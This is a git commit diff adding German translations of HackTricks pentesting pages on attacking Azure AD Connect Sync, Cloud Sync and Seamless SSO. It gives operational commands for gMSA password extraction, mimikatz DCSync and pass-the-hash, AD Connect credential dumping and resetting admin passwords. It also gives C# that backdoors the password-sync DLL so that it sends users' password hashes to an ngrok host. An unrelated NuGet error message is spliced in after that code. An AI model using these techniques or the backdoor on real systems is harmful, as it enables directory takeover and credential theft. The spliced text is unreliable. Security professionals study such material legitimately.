Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

2026-01-15 06:13:16 -08:00 · 2025-07-23 22:10:25 +00:00
parent e62e6523cc
commit 27640fdd71
3 changed files with 470 additions and 36 deletions
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md
@@ -0,0 +1,149 @@
+# Az - Cloud Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Grundinformationen
+
+**Cloud Sync** ist im Grunde die neue Methode von Azure, um **die Benutzer von AD in Entra ID zu synchronisieren**.
+
+[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync ist ein neues Angebot von Microsoft, das entwickelt wurde, um Ihre Ziele für hybride Identität bei der Synchronisierung von Benutzern, Gruppen und Kontakten zu Microsoft Entra ID zu erreichen. Dies wird erreicht, indem der Microsoft Entra Cloud-Provisioning-Agent anstelle der Microsoft Entra Connect-Anwendung verwendet wird. Es kann jedoch zusammen mit Microsoft Entra Connect Sync verwendet werden.
+
+### Generierte Prinzipale
+
+Damit dies funktioniert, werden einige Prinzipale sowohl in Entra ID als auch im On-Premise-Verzeichnis erstellt:
+
+- In Entra ID wird der Benutzer `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) mit der Rolle **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) erstellt.
+
+> [!WARNING]
+> Diese Rolle hatte früher viele privilegierte Berechtigungen und konnte verwendet werden, um [**Privilegien sogar bis zum globalen Administrator zu eskalieren**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Microsoft hat jedoch beschlossen, alle Berechtigungen dieser Rolle zu entfernen und ihr nur eine neue zuzuweisen **`microsoft.directory/onPremisesSynchronization/standard/read`**, die es nicht wirklich erlaubt, privilegierte Aktionen auszuführen (wie das Ändern des Passworts oder der Attribute eines Benutzers oder das Hinzufügen einer neuen Berechtigung zu einem SP).
+
+- In Entra ID wird auch die Gruppe **`AAD DC Administrators`** ohne Mitglieder oder Eigentümer erstellt. Diese Gruppe ist nützlich, wenn [`Microsoft Entra Domain Services`](./az-domain-services.md) verwendet wird.
+
+- Im AD wird entweder das Dienstkonto **`provAgentgMSA`** mit einem SamAccountName wie **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`) erstellt, oder ein benutzerdefiniertes mit [**diesen Berechtigungen benötigt**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). In der Regel wird das Standardkonto erstellt.
+
+> [!WARNING]
+> Unter anderen Berechtigungen hat das Dienstkonto **`provAgentgMSA`** DCSync-Berechtigungen, die **es jedem, der es kompromittiert, ermöglichen, das gesamte Verzeichnis zu kompromittieren**. Für weitere Informationen über [DCSync siehe hier](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
+
+> [!NOTE]
+> Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins mit dem Attribut **`adminCount` auf 1 nicht synchronisiert** mit Entra ID aus Sicherheitsgründen. Andere Benutzer, die jedoch Teil von privilegierten Gruppen ohne dieses Attribut sind oder direkt hohe Privilegien zugewiesen bekommen, **können synchronisiert werden**.
+
+## Passwortsynchronisierung
+
+Der Abschnitt ist sehr ähnlich zu dem aus:
+
+{{#ref}}
+az-connect-sync.md
+{{#endref}}
+
+- **Passwort-Hash-Synchronisierung** kann aktiviert werden, sodass Benutzer sich **mit ihren Passwörtern aus AD in Entra ID anmelden können**. Darüber hinaus wird jedes Mal, wenn ein Passwort in AD geändert wird, es in Entra ID aktualisiert.
+- **Passwort-Rückschreibung** kann ebenfalls aktiviert werden, sodass Benutzer ihr Passwort in Entra ID ändern können, was automatisch ihr Passwort im lokalen Domänen synchronisiert. Laut den [aktuellen Dokumenten](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) ist dafür der Connect-Agent erforderlich, also werfen Sie einen Blick auf den [Az Connect Sync-Bereich](./az-connect-sync.md) für weitere Informationen.
+- **Gruppen-Rückschreibung**: Diese Funktion ermöglicht es, dass Gruppenmitgliedschaften von Entra ID zurück in das lokale AD synchronisiert werden. Das bedeutet, dass, wenn ein Benutzer einer Gruppe in Entra ID hinzugefügt wird, er auch der entsprechenden Gruppe im AD hinzugefügt wird.
+
+## Pivoting
+
+### AD --> Entra ID
+
+- Wenn die AD-Benutzer von AD nach Entra ID synchronisiert werden, ist das Pivoting von AD zu Entra ID unkompliziert, einfach **das Passwort eines Benutzers kompromittieren oder das Passwort eines Benutzers ändern oder einen neuen Benutzer erstellen und warten, bis er in das Entra ID-Verzeichnis synchronisiert wird (in der Regel nur ein paar Minuten)**.
+
+Sie könnten zum Beispiel
+- Das **`provAgentgMSA`**-Konto kompromittieren, einen DCSync-Angriff durchführen, das Passwort eines Benutzers knacken und es dann verwenden, um sich in Entra ID anzumelden.
+- Einfach einen neuen Benutzer im AD erstellen, warten, bis er in Entra ID synchronisiert wird, und ihn dann verwenden, um sich in Entra ID anzumelden.
+- Das Passwort eines Benutzers im AD ändern, warten, bis es in Entra ID synchronisiert wird, und es dann verwenden, um sich in Entra ID anzumelden.
+
+Um die **`provAgentgMSA`**-Anmeldeinformationen zu kompromittieren:
+```powershell
+# Enumerate provAgentgMSA account
+Get-ADServiceAccount -Filter * -Server domain.local
+# Find who can read the password of the gMSA (usually only the DC computer account)
+Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
+
+# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
+lsadump::dcsync /domain:domain.local /user:<dc-name>$
+sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
+
+# Or you can change who can read the password of the gMSA account to all domain admins for example:
+Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
+
+# Read the password of the gMSA
+$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
+
+#Install-Module -Name DSInternals
+#Import-Module DSInternals
+$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
+ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
+```
+Jetzt könnten Sie den Hash des gMSA verwenden, um einen Pass-the-Hash-Angriff gegen Entra ID mit dem `provAgentgMSA`-Konto durchzuführen und Persistenz aufrechtzuerhalten, um DCSync-Angriffe gegen das AD durchzuführen.
+
+Für weitere Informationen darüber, wie man ein Active Directory kompromittiert, siehe:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
+{{#endref}}
+
+> [!NOTE]
+> Beachten Sie, dass es keine Möglichkeit gibt, Azure- oder EntraID-Rollen an synchronisierte Benutzer basierend auf ihren Attributen, beispielsweise in den Cloud Sync-Konfigurationen, zu vergeben. Um jedoch automatisch Berechtigungen an synchronisierte Benutzer zu gewähren, könnten einige **Entra ID-Gruppen aus AD** Berechtigungen erhalten, sodass die synchronisierten Benutzer innerhalb dieser Gruppen ebenfalls diese erhalten, oder **dynamische Gruppen könnten verwendet werden**, daher sollten Sie immer nach dynamischen Regeln und potenziellen Möglichkeiten suchen, diese auszunutzen:
+
+{{#ref}}
+../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
+{{#endref}}
+
+Bezüglich der Persistenz schlägt [dieser Blogbeitrag](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) vor, dass es möglich ist, [**dnSpy**](https://github.com/dnSpy/dnSpy) zu verwenden, um die dll **`Microsoft.Online.Passwordsynchronisation.dll`** zu backdooren, die sich in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** befindet und vom Cloud Sync-Agenten verwendet wird, um die Passwortsynchronisierung durchzuführen, sodass sie die Passwort-Hashes der Benutzer, die synchronisiert werden, an einen Remote-Server exfiltriert. Die Hashes werden innerhalb der Klasse **`PasswordHashGenerator`** generiert, und der Blogbeitrag schlägt vor, etwas Code hinzuzufügen, sodass die Klasse wie folgt aussieht (beachten Sie die Verwendung von `use System.Net` und `WebClient`, um die Passwort-Hashes exfiltrieren):
+```csharp
+using System;
+using System.Net;
+using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
+
+namespace Microsoft.Online.PasswordSynchronization
+{
+// Token: 0x0200003E RID: 62
+public class PasswordHashGenerator : ClearPasswordHashGenerator
+{
+// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
+public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
+{
+PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
+try
+{
+using (WebClient webClient = new WebClient())
+{
+webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
+}
+}
+catch (Exception)
+{
+}
+return new PasswordHashData
+{
+Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
+RawHash = passwordHashData.RawHash
+};
+}
+}
+}
+```
+NuGet-Paketwiederherstellung für das Projekt AzTokenFinder fehlgeschlagen: Version '4.3.2' des Pakets 'System.Security.Cryptography.X509Certificates' konnte nicht gefunden werden. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Paket 'System.Security.Cryptography.X509Certificates.4.3.2' wurde in der Quelle 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' nicht gefunden. Bitte sehen Sie sich das Fehlerlistenfenster für detaillierte Warnungen und Fehler an.
+
+### Entra ID --> AD
+
+- Wenn **Password Writeback** aktiviert ist, könnten Sie das Passwort einiger Benutzer aus Entra ID ändern und sich mit diesen im AD-Netzwerk verbinden, wenn Sie Zugriff darauf haben. Weitere Informationen finden Sie im Abschnitt [Az Connect Sync](./az-connect-sync.md), da das Password Writeback über diesen Agenten konfiguriert wird.
+
+- Zu diesem Zeitpunkt ermöglicht Cloud Sync auch **"Microsoft Entra ID zu AD"**, aber nach zu viel Zeit habe ich festgestellt, dass es EntraID-Benutzer NICHT mit AD synchronisieren kann und dass es nur Benutzer aus EntraID synchronisieren kann, die mit dem Passwort-Hash synchronisiert wurden und aus einer Domäne stammen, die zum gleichen Domänenforest gehört wie die Domäne, mit der wir synchronisieren, wie Sie in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) lesen können:
+
+> - Diese Gruppen können nur synchronisierte Benutzer vor Ort und / oder zusätzlich in der Cloud erstellte Sicherheitsgruppen enthalten.
+> - Die synchronisierten Benutzerkonten vor Ort, die Mitglieder dieser in der Cloud erstellten Sicherheitsgruppe sind, können aus derselben Domäne oder aus verschiedenen Domänen stammen, müssen jedoch alle aus demselben Forest stammen.
+
+Die Angriffsfläche (und Nützlichkeit) dieses Dienstes ist also erheblich reduziert, da ein Angreifer das ursprüngliche AD, von dem die Benutzer synchronisiert werden, kompromittieren müsste, um einen Benutzer in der anderen Domäne zu kompromittieren (und beide müssen anscheinend im selben Forest sein).
+
+### Enumeration
+```bash
+# Check for the gMSA SA
+Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
+
+# Get all the configured cloud sync agents (usually one per on-premise domain)
+## In the machine name of each you can infer the name of the domain
+az rest \
+--method GET \
+--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
+--headers "Content-Type=application/json"
+```
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md
@@ -0,0 +1,202 @@
+# Az - Connect Sync
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Grundinformationen
+
+[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect Synchronisierungsdienste (Microsoft Entra Connect Sync) sind ein Hauptbestandteil von Microsoft Entra Connect. Es kümmert sich um alle Operationen, die mit der Synchronisierung von Identitätsdaten zwischen Ihrer lokalen Umgebung und Microsoft Entra ID verbunden sind.
+
+Um es zu verwenden, muss der **`Microsoft Entra Connect Sync`** Agent auf einem Server in Ihrer AD-Umgebung installiert werden. Dieser Agent wird sich um die Synchronisierung von der AD-Seite kümmern.
+
+<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
+
+Die **Connect Sync** ist im Grunde die "alte" Azure-Methode, um **Benutzer von AD in Entra ID zu synchronisieren.** Die neue empfohlene Methode ist die Verwendung von **Entra Cloud Sync**:
+
+{{#ref}}
+az-cloud-sync.md
+{{#endref}}
+
+### Generierte Prinzipien
+
+- Das Konto **`MSOL_<installationID>`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine Rolle für **Verzeichnis-Synchronisierungskonten** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat.
+- Das bedeutet, dass jeder, der dieses Konto kompromittiert, in der Lage sein wird, die lokale Domäne zu kompromittieren.
+- Ein verwaltetes Dienstkonto **`ADSyncMSA<id>`** wird im lokalen AD ohne besondere Standardberechtigungen erstellt.
+- In Entra ID wird das Dienstprinzipal **`ConnectSyncProvisioning_ConnectSync_<id>`** mit einem Zertifikat erstellt.
+
+## Passwörter synchronisieren
+
+### Passwort-Hash-Synchronisierung
+
+Diese Komponente kann auch verwendet werden, um **Passwörter von AD in Entra ID zu synchronisieren**, sodass Benutzer ihre AD-Passwörter verwenden können, um sich bei Entra ID anzumelden. Dazu muss die Passwort-Hash-Synchronisierung im Microsoft Entra Connect Sync-Agenten, der auf einem AD-Server installiert ist, aktiviert werden.
+
+[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Passwort-Hash-Synchronisierung** ist eine der Anmeldemethoden, die verwendet werden, um hybride Identität zu erreichen. **Azure AD Connect** synchronisiert einen Hash, des Hashes, des Passworts eines Benutzers von einer lokalen Active Directory-Instanz zu einer cloudbasierten Azure AD-Instanz.
+
+Im Grunde werden alle **Benutzer** und ein **Hash der Passwort-Hashes** von der lokalen AD zu Azure AD synchronisiert. Allerdings werden **Klartext-Passwörter** oder die **originalen** **Hashes** nicht an Azure AD gesendet.
+
+Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontoablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen zugreifen**, indem er das alte Passwort verwendet.
+
+Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt die **Authentifizierung in Azure AD**.
+
+> [!HINWEIS]
+> Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins mit dem Attribut **`adminCount` auf 1 nicht synchronisiert** mit Entra ID aus Sicherheitsgründen. Andere Benutzer, die Teil privilegierter Gruppen ohne dieses Attribut sind oder die direkt hohe Berechtigungen zugewiesen bekommen haben, **können synchronisiert werden**.
+
+### Passwort-Rückschreibung
+
+Diese Konfiguration ermöglicht es, **Passwörter von Entra ID in AD zu synchronisieren**, wenn ein Benutzer sein Passwort in Entra ID ändert. Beachten Sie, dass für die Passwort-Rückschreibung der automatisch im AD generierte Benutzer `MSOL_<id>` [mehr Berechtigungen benötigt, wie in den Dokumenten angegeben](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), damit er **die Passwörter eines beliebigen Benutzers im AD ändern kann**.
+
+Dies ist besonders interessant, um das AD von einem kompromittierten Entra ID zu kompromittieren, da Sie in der Lage sein werden, das Passwort von "fast" jedem Benutzer zu ändern.
+
+Domain-Administratoren und andere Benutzer, die zu einigen privilegierten Gruppen gehören, werden nicht repliziert, wenn die Gruppe das Attribut **`adminCount` auf 1** hat. Aber andere Benutzer, die hohe Berechtigungen innerhalb des AD zugewiesen bekommen haben, ohne zu einer dieser Gruppen zu gehören, könnten ihr Passwort geändert bekommen. Zum Beispiel:
+
+- Benutzer, die direkt hohe Berechtigungen zugewiesen bekommen haben.
+- Benutzer aus der **`DNSAdmins`**-Gruppe.
+- Benutzer aus der Gruppe **`Group Policy Creator Owners`**, die GPOs erstellt und ihnen OUs zugewiesen haben, werden in der Lage sein, die GPOs, die sie erstellt haben, zu ändern.
+- Benutzer aus der **`Cert Publishers Group`**, die Zertifikate in Active Directory veröffentlichen können.
+- Benutzer aus jeder anderen Gruppe mit hohen Berechtigungen ohne das **`adminCount`-Attribut auf 1**.
+
+## Pivoting AD --> Entra ID
+
+### Auflisten von Connect Sync
+
+Überprüfen Sie die Benutzer:
+```bash
+# Check for the users created by the Connect Sync
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
+Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
+Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
+
+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=MSOL_*)"
+$searcher.FindAll()
+$searcher.Filter = "(samAccountName=ADSyncMSA*)"
+$searcher.FindAll()
+$searcher.Filter = "(samAccountName=Sync_*)"
+$searcher.FindAll()
+```
+Überprüfen Sie die **Connect Sync-Konfiguration** (falls vorhanden):
+```bash
+az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
+# Check if password sychronization is enabled, if password and group writeback are enabled...
+```
+### Finden der Passwörter
+
+Die Passwörter des **`MSOL_*`** Benutzers (und des **Sync\_\*** Benutzers, falls erstellt) sind **in einem SQL-Server** auf dem Server gespeichert, auf dem **Entra ID Connect installiert ist.** Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\
+Die Datenbank befindet sich in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
+
+Es ist möglich, die Konfiguration aus einer der Tabellen zu extrahieren, wobei eine verschlüsselt ist:
+
+`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
+
+Die **verschlüsselte Konfiguration** ist mit **DPAPI** verschlüsselt und enthält die **Passwörter des `MSOL_*`** Benutzers in on-prem AD und das Passwort von **Sync\_\*** in AzureAD. Daher ist es möglich, durch das Kompromittieren dieser Privilegien zu AD und AzureAD zu gelangen.
+
+Sie finden eine [vollständige Übersicht darüber, wie diese Anmeldeinformationen gespeichert und entschlüsselt werden, in diesem Vortrag](https://www.youtube.com/watch?v=JEIR5oGCwdg).
+
+### Missbrauch von MSOL\_*
+```bash
+# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+Get-AADIntSyncCredentials
+# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
+
+# Using https://github.com/dirkjanm/adconnectdump
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
+.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
+python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
+
+# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
+runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
+Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
+```
+> [!WARNING]
+> Frühere Angriffe haben das andere Passwort kompromittiert, um sich dann mit dem Entra ID-Benutzer `Sync_*` zu verbinden und dann Entra ID zu kompromittieren. Dieser Benutzer existiert jedoch nicht mehr.
+
+### Missbrauch von ConnectSyncProvisioning_ConnectSync\_<id>
+
+Diese Anwendung wird erstellt, ohne dass ihr Entra ID- oder Azure-Managementrollen zugewiesen sind. Sie hat jedoch die folgenden API-Berechtigungen:
+
+- Microsoft Entra AD Synchronization Service
+- `ADSynchronization.ReadWrite.All`
+- Microsoft Passwortzurücksetzungsdienst
+- `PasswordWriteback.OffboardClient.All`
+- `PasswordWriteback.RefreshClient.All`
+- `PasswordWriteback.RegisterClientVersion.All`
+
+Es wird erwähnt, dass der SP dieser Anwendung weiterhin verwendet werden kann, um einige privilegierte Aktionen über eine undocumented API durchzuführen, aber bisher wurde afaik kein PoC gefunden.\
+In jedem Fall wäre es interessant, weiter zu erkunden, wie man das Zertifikat findet, um sich als dieser Dienstprinzipal anzumelden und zu versuchen, es auszunutzen.
+
+Dieser [Blogbeitrag](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) wurde kurz vor der Änderung von der Verwendung des Benutzers `Sync_*` zu diesem Dienstprinzipal veröffentlicht und erklärte, dass das Zertifikat auf dem Server gespeichert war und es möglich war, es zu finden, PoP (Proof of Possession) davon zu generieren und ein Token zu erstellen, und damit in der Lage zu sein, ein neues Zertifikat zum Dienstprinzipal hinzuzufügen (weil ein **Dienstprinzipal** sich immer selbst neue Zertifikate zuweisen kann) und es dann zu verwenden, um Persistenz als SP aufrechtzuerhalten.
+
+Um diese Aktionen durchzuführen, sind die folgenden Tools veröffentlicht: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
+
+Nach meiner Erfahrung wird das Zertifikat nicht mehr an dem Ort gespeichert, an dem das vorherige Tool danach gesucht hat, und daher funktioniert das Tool nicht mehr. Weitere Recherchen könnten erforderlich sein.
+
+### Missbrauch von Sync\_\* [VERALTET]
+
+> [!WARNING]
+> Früher wurde ein Benutzer namens `Sync_*` in Entra ID mit sehr sensiblen Berechtigungen erstellt, die es ermöglichten, privilegierte Aktionen wie das Ändern des Passworts eines beliebigen Benutzers oder das Hinzufügen einer neuen Berechtigung zu einem Dienstprinzipal durchzuführen. Ab Januar 2025 wird dieser Benutzer jedoch standardmäßig nicht mehr erstellt, da jetzt die Anwendung/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** verwendet wird. Er könnte jedoch in einigen Umgebungen weiterhin vorhanden sein, daher lohnt es sich, danach zu suchen.
+
+Die Kompromittierung des **`Sync_*`** Kontos ermöglicht es, das **Passwort** eines beliebigen Benutzers (einschließlich globaler Administratoren) zurückzusetzen.
+```bash
+Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
+Import-Module AADInternals
+
+# This command, run previously, will give us alse the creds of this account
+Get-AADIntSyncCredentials
+
+# Get access token for Sync_* account
+$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
+$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
+Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
+
+# Get global admins
+Get-AADIntGlobalAdmins
+
+# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
+Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
+
+# Reset the users password
+Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
+
+# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
+```
+Es ist auch möglich, **die Passwörter von nur Cloud**-Benutzern zu **ändern** (auch wenn das unerwartet ist).
+```bash
+# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
+# The CloudAnchor is of the format USER_ObjectID.
+Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
+
+# Reset password
+Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
+```
+Es ist auch möglich, das Passwort dieses Benutzers zu dumpen.
+
+> [!CAUTION]
+> Eine andere Option wäre, **privilegierte Berechtigungen für einen Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf diesen Dienstprinzipal zuzugreifen** als eine Möglichkeit zur Privilegieneskalation.
+
+### Nahtloses SSO
+
+Es ist möglich, nahtloses SSO mit PHS zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:
+
+{{#ref}}
+seamless-sso.md
+{{#endref}}
+
+## Pivotierung Entra ID --> AD
+
+- Wenn die Passwortschreibback-Funktion aktiviert ist, können Sie **das Passwort eines beliebigen Benutzers im AD** ändern, der mit Entra ID synchronisiert ist.
+- Wenn die Gruppen-Schreibback-Funktion aktiviert ist, können Sie **Benutzer zu privilegierten Gruppen** in Entra ID hinzufügen, die mit dem AD synchronisiert sind.
+
+## Referenzen
+
+- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
+- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
+- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
+- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
+- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md
@@ -1,26 +1,76 @@
-# Az - Seamless SSO
+# Az - Nahtloses SSO

 {{#include ../../../../banners/hacktricks-training.md}}

-## Grundinformationen
+## Grundlegende Informationen

-[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten** befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, **müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden**, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugriff auf Ihre cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind.
+[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Nahtloses Single Sign-On (Azure AD Nahtloses SSO) **meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten** befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, **müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden**, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugang zu Ihren cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind.

 <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>

-Im Grunde **meldet Azure AD Seamless SSO** Benutzer an, wenn sie sich **auf einem lokal verbundenen PC** befinden.
+Im Grunde **meldet Azure AD Nahtloses SSO** Benutzer an, wenn sie sich **auf einem lokal verbundenen PC** befinden.

 Es wird sowohl von [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) als auch von [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) unterstützt.

-Desktop-SSO verwendet **Kerberos** zur Authentifizierung. Wenn konfiguriert, erstellt Azure AD Connect ein **Computer-Konto namens AZUREADSSOACC`$`** in der lokalen AD. Das Passwort des `AZUREADSSOACC$`-Kontos wird **im Klartext an Azure AD gesendet** während der Konfiguration.
+Desktop-SSO verwendet **Kerberos** zur Authentifizierung. Wenn konfiguriert, erstellt Azure AD Connect ein **Computer-Konto mit dem Namen `AZUREADSSOACC$`** in der lokalen AD. Das Passwort des `AZUREADSSOACC$`-Kontos wird **im Klartext an Entra ID** während der Konfiguration gesendet.

